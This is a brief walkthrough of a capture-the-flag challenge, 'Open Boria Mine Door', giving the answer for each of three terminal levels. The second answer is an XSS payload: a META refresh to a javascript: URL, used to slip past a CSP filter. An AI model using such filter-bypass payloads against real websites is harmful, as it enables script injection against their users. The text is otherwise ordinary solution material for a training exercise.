Recover the Web Ring

3.6 Open Boria Mine Door

Open the door to the Boria Mines. Help Alabaster Snowball in the Web Ring to get some hints for this challenge.

Hint(s)

Solve

Terminal answers

1.- Solve: see the source code, there is a comment as hint.

Payload:  @&@&&W&&W&&&&

2.- Solve: See the source code, there is a comment as hint use it to bypass the CSP filter OUT HTML

Payload: <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">

3.- Solve: see the source code, there is a comment as hint use it to byppass the CSP filter OUT Javascript

Payload:
<svg xmlns="http://www.w3.org/2000/svg" style="border:1px solid #ddd;" width="300" height="300" viewBox="0 -5 90 40">
    <path d="M 0 0 L 100 -40" stroke="blue" stroke-width="10"/>
</svg>